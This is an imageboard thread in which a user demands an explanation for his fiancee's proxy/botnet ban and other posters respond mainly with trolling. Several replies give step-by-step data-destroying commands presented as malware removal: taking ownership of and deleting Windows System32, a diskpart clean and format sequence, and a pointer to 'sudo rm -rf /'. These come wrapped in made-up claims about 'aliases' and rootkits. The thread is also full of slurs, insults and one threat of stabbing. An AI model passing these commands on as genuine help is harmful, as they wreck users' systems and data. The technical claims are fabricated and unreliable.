What the fuck happened? My fiancee just sent me this. She doesn't know computers. She was banned for, apparently...

What the fuck happened? My fiancee just sent me this. She doesn't know computers. She was banned for, apparently, either using a proxy or being used as a proxy. She did none of that. What the hell happened? I want an explanation. She will be here with me, bumping this thread. I will be reporting my own thread until I get an answer.
And what's with the "euphoric" atheist stereotype in the banner? We are both atheists. Has Sup Forums been hacked by cucks or what is going on?

Other urls found in this thread:

urbandictionary.com/define.php?term=sudo rm -rf /
twitter.com/SFWRedditImages

I will report my own thread so that janitors come and explain this thoroughly.

thats what they do to normie faggots

The newfags here are really getting out of hand

We were looking for nudes.
He tits are ugly.

thats what they do to normie faggots

Nobody here is normie, you fucking infected shit.>6
fuckyafuckya

Where are the janitors?!

Bump! I'm here and I actually have no idea what the hell happened... Sup Forums please, explain us.

Post a pic of your wifes tits

I'm waiting for the jans. They will be here any moment.....................................................................................................................................................................................................................................................................................................................

Fucking imbeciles, why do you even give a shit, when it has already expired? Read the fucking ban and stop using public computers.

>wife
>implying

>I will be reporting my own thread until I get an answer.
Enjoy your new ban

thats what they do to normie faggots.

Post some Elsa

But what the hell happened, you fucking retard? She wasn't even at home when the ban happened. She was with me. This is a major Sup Forums fuck up, you cretin.
Stop being Reddit, please!

this pls god on earth in heaven if there is one ban this crying faggot forever from these boards

I will post elsa after the jans explain what the hell happened.

Her computer is infected. She's likely part of a bot-net. Botnet IP listings come under the VPN/Proxy listings. Failing that, your ISP is routing traffic without telling you.

The alternative is someone else has been using her computer.

Its not rocket-science, you cuck.

>cretin
>Stop being Reddit

i hope you get banned again

I'm pretty sure announcing you reported someone isn't a banable offense on Reddit.
But it is on Sup Forums.

Look, stop sperging the fuck out about a ban that is not here anymore. Besides, she probably fucked up and she is a proud member of a botnet now.

So, if she's infected, you "cuck", does that mean her IP deserved a ban? Can't you tell between proxy usage and involuntary infections? You fucked up badly. How do we solve this, mister intellectual?

This

OHHH this is bait...i fell for this shit

>Imbeciles
>Cretin

Your fiance did not just send you that, look at the tabs.

I don't think you have a wife. Enjoy your ban for evasion.

Why do you judge people who actually try to help your lazy ass, when you can't even do your own research.

I'm not letting this one go. Sup Forums fucked up badly. I'm not letting them go. Them aren't them rules. If Sup Forums doesn't explain things thoroughly, the two of us might grant Sup Forums's wish and stop using the website.

Your whore fiance dserevers to get banned,and so do you you cuck

We both like Elsa Jean. I'm not bi, I was just looking for some black dick. Lol

>If Sup Forums doesn't explain things thoroughly, the two of us might grant Sup Forums's wish and stop using the website.
ohh,promise?

Yeeted

No. There's lists on the internet for IPs that are regularly used for spamming etc., so zombies (computers in a botnet) get affected by this, too.
The best would be to just format the whole computer, as you can't really know where the infection is or where it came from without extensive forensics work.
No saving data, as there is no way of telling which files can re-infect the new operating system.

turning into low quality bait..

>If Sup Forums doesn't explain things thoroughly, the two of us might grant Sup Forums's wish and stop using the website
I can't fucking wait
Besides
>Trying to contact Sup Forums staff by creating a thread
>as fucking if

You're calling me an intellectual, Euphoria-kin?

I'm not telling you how to fix your fucking computer its 2017 get off your fat single ass and fix it yourself.

Also, seeing that you're from Romania, there's a high chance that huge parts of your countries' IP ranges are banned already.

>You're calling me an intellectual, Euphoria-kin?

wtf is happening to Sup Forums

Yeah, its almost like you've never heard of a sleepernet or pattern heuristic b&s.

I'm not letting this one go. If she was a botnet member, although there's no evidence Sup Forums didn't just issue a free ban for the lulz, then why the ban? Why ban botnet involuntary members? Where is the logic in that, user?
Alright, can you please hint what the botnet was used for? I mean, you know, don't you? You were hurt by it. What kind of spam was the computer used for? You must have something. You can't just ban somebody then politely excuse yourself just because everyone makes mistakes, sir.
It's pretty shitty to yell country names on b, and besides, my country isn't fucking banned since we are a member of the EU and so on and so forth. So, no, quit your bullshit!

Nobody gives a fuck about your faith.
gb2/2007 tryhard faggot

Fiancées tits or gtfo faggot!!

Thanks for that, man! I'm the confused fiancee with the infected computer. I don't know exactly what I should do, because I don't understand what's the source of the computer's infection...

Gods divine intervention (you wouldn't understand)
Fluoride in drinking water
Fluoride in Teflon coating
Lead contamination in soil
Lead paint
Estrogen in drinking water
Radionuclide contamination in high phosphorus fertilizer
Slag exposure
Food shortage
Over population
Eugenics
Civil unrest
Boredom
Pathogens
World peace?
Aliens
Aliens
Dark wizards
Psychics
Class warfare
Class warfare
Supervolcanoes
Accidental injury
Depression
Criminal behaviour
Fluoride in toothpaste
Under exercise
Tooth decay
Poor oral hygiene
Coconuts
Ragweed
Fire ants
Killer bees
Climate change
Stagnation
Illegal dumping
Orbital drift
Greed
Xenophobia
Corruption?
Gender warfare
Black widow/brown recluse
Gamma radiation
Seismic anomaly
Political warfare
Degradation
Devaluation of human life
Drug abuse

I feel this is bait but..

You wouldn't know unless you're smart that you're being used as a bot or your ip is changing to much is another reason they might ban you

>Not letting this go
>Lulz in 2017
>Logic
>Sir
>M-Muh EU
>W-We're a real country, honest
>Confused by blanket bans when you're from a nation of literal shitposters and spambots

Jesus fucking christ get off our website.

>Botnet involuntary
And how are they supposed to know that, wise guy?

/thread

Why would they ban people for involuntarily being a part of a botnet?
Exactly! Why ban somebody for being part of a botnet?

OP, I can't tell if you're bait or just retarded. I mean its retarded either way just for different reasons.

I mean thats basically why people are replying. So we can all laugh at you.

Please continue dancing for our pleasure.

Eu is shit and my country's shit, but for all it's worth, you can't have a corrput fucking janitor imbecile saying "eh, well, so we banned Romanians, who cares? romania isn't even white like scandinavia and whatnot".

That's not what you was banned for

It's just a guess try messing with your ip see if that works

bc its your fault you are part of the network by loading porn on a shady site

Will you just shut the fuck up already. Jesus fucking Christ you're just like a woman!!

I was a janitor in 2010-2012. I would have banned you on the spot for this thread. Whoever's lurking here is a much kinder or much busier janitor than I Was.

I will report this message of mine right now. The janitors must come here and explain to me why would they ban somebody who is involuntarily part of a botnet (maybe) for using proxies.

>Exactly! Why ban somebody for being part of a botnet?
You missed my point. What I meant to tell you, is "How do they fucking know you're in a botnet INVOLUNTARILY?"

Hope you get banned too, faggot

It says it in the code! Silly!

Protip OP: If you run files from porn sites or mysterious websites, your computer might do strange things you don't know about that upset people or get you blacklisted as a precautionary measure that even first year sysadmins know to do.

You were a janitor when your father was eating ass in exchange for goat cheese and I'm dying here of impatience. I wait for janitors to come...

shitty post

bump!

its bait fags
but yall wouldnt know

Short answer is you don't, which is why they work.

There is something you can do though. You need to start by acquiring ownership of your machine.

>Click "Start," type "cmd" and press the "Ctrl," "Shift" and "Enter" keys together to load the Command Prompt console with administrative privileges.

>Type "takeown /f C:\Windows\System32" and press "Enter" to take ownership of the System32 folder.

>Type "Icacls C:\Windows\System32 " and press "Enter" to give yourself rights to modify the "System32" folder.

>Close the Command Prompt console by typing "Exit" and then pressing "Enter."

>Delete Folder

>Close all applications that are running on your computer.

>Double-click the "Computer" icon on the Windows desktop to open "Windows Explorer."

>Double-click the icon labeled "Local Disk C:" and then enter the folder labeled "Windows."

>Select the folder labeled "System32" by clicking on it.

>Press the "Shift" and "Del" keys together and click "Yes" on the "Delete Folder" confirmation dialog box to delete the "System32" folder. Click "Yes to All" on any "File Delete" dialog boxes that you encounter during the file deletion process.

Rebooting your computer, you should find that everything is as you left it but any possible botnets (along with some cursory Windows plugins that are really easy to replace anyway) will be gone.

I know it sounds shady, but you're not actually deleting System32, you're deleting its alias and the alias can be over-written to store malicious data that is hooked into when Windows starts. Its a very very nasty exploit called a rootkit.

I mean, the mods had to be involved to issue the ban right. So, and entire community, from clever users to janitors and then even moderators messed up. I'm not leaving here without an answer.

i'm not the sperglord OP tho

Nice try! Anyway, I'm too lazy to read those steps.

I was an engineering professor and I had to work with Windows machines at my university. I was also skeptical that this would've worked back then since it was in the important files and such.

This trick is awesome, OP. This is an IT's secret weapon.

you got plenty of answers already you just dont accept them

Literally just gave you one:
When you've finished this, open the command prompt and type "ipconfig /renew" AFTER performing these steps. Your ISP will take you out of the sandbox for potential botnets with luck and put you back on the public address-space (standard procedure). You might have to reboot your cable-model to do this (hold down the switch for 15 seconds rather than turn it off and on again) for it to work.

Thats all the tech support I'm giving you.

>I mean, the mods had to be involved to issue the ban right.

Not exactly. You ban based on IP ranges and subnets. Do you have any idea how long it would take to ban each individual? You apply a blanket ban and go about your day.

>I was also skeptical that this would've worked back then since it was in the important files and such.

Tru IT

I am OP indeed and I basically know what you are doing. You are trying to make people delete sys32 but you add some unnecessary steps to it so it sounds credible. I did that once when I beat somebody at chess, but I didn't want them to understand the strategy or beat them too fast, so I prolongued it unnecessarily.

Yeah, the alias wipe trick is a giant pain in the backside but it works beautifully. I still don't get why Windows stores aliases and directories in different ownership spaces. Its genuinely confusing and really unsafe. Stuff like this is why servers run linux so malware doesn't really have anywhere to hide.

Uh no, thats why we do the take ownership thing first. The Delete System 32 meme is based on the delete system 32 alias which is about how Windows handles its cacheing and address-space management. Its a clever shorthand but its really insecure. An old trick was to get people NOT to take ownership first and then delete the directory rather than the alias.

If you somehow take over my thread with your prank crap, I will open up another one and another one and so on, until the janitors come. And, despite you not breaking the rules with your antisocial crap, I will report you right now because I want the janitors to explain me why they banned her.

I'm sad that my university switched all the Windows computers out for Macs the year after I retired. Life is a bitch.

MODS!!!! ban this fucking twat WITHOUT answering his question

bump

>I'm not leaving here without an answer.
Yea,you are leaving and you are never coming back.

Its not a trick, its alias management. Thats why I gave you the full instructions. Linux has the same thing where if in the terminal you go sudo rm -rf and you add an extra space between the -rf and the directory, it doesn't see the directory and proceeds to work with the whole directory structure, not the specific directory you listed. Its a flaw all operating systems have.

I dunno, the newer ones are kind of okay I guess for some stuff. Mac OS X is one of the better flavors of Linux but its a shame it runs on Macs exclusively because of that double floating point shit dependency.

If you don't believe us, Linux is an equivalent bug: urbandictionary.com/define.php?term=sudo rm -rf /

If you take ownership first, you'll be fine.

I liked to do composition in my spare time so I could own the composition professor. That guy was a stupid git.

They had this Finale software. Ran much smoother on my Mac at home.

>being upset about being banned for no reason
hahahahahahahahahahahahahaha

I can reset my IP and clear my cookies, dude. You should worry about yourself. I'm not leaving here without my answer. Please, try to understand, man!
>blah blah blah delete sys32 trust me I'm an astraut engineer comuter wizard
Fuck off!

hahaha what a faggot

>I can reset my IP and clear my cookies, dude.
You are leaving and that trick won't work. Worry about you getting stabbed in your fat face.

>Worry about you getting stabbed in your fat face.

well...yes

I reported you, but not for breaking the rules. I want the janitors here. I will even reset my IP so I can report you again. I will make another thread. My fiancee said she wont leave either.
Come on janitors, come on come on come on come on\2

You can also terminate Service Host: DCOM Server Project or rssrs.exe and force Windows to do a checksum of its system files and load backups from the legacy folder if any have been modified.

Get off this board now you fat,disgusting lowlife piece of shit. You are making a big deal out of nothing and you shouldn't be. Are you a slimy Jew faggot?

I'm not leaving here without the answer. They fucked up and your underage ass wouldn't understand. Now shut the fuck up and go do your summer workload or you will repeat the year again once more.

bummmp!

Calm the hell down man, go to a roll thread and have some fucking fun.

Who let the new out, holy shit.
>And what's with the "euphoric" atheist stereotype in the banner
Proof you're some underaged cuckwad.

>reported you
If the mods come in here and see what you're doing, odds are you're still the one getting banned for going full retard over a temporary ban that lasted for ~6 hours. And I'd like to see you waste more time not fucking your imaginary fiancee, but instead trying to reset your IP after a range of IPs have been banned.

Try putting this into CMD:
bootsect /nt60 ALL /force /mbr
bootrec /fixboot
bootrec /fixmbr
bootrec /rebuildbcd

Diskpart

Select Disk N

In the above command N should be the disk number of the disk you are going to fix.

Clean
Create Partition Primary
Assign
Exit

Now type the following command where X is the drive letter assigned to the new partition using the Assign command above:

Format X: /p:1 /v:CleanDisk /y

Reboot.

Janitors are motherfuckers. Idk what happened to Sup Forums, but it sucks from a while.

Did you take ownership yet? Its your computer, dude.

Hey faggot,you don't get an answer. I do understand little boy, you are a typical wining liberal who just likes to agitate other until you get punched in your round ugly face. Underage faggot detected. Go back to summer school and let the adults alone.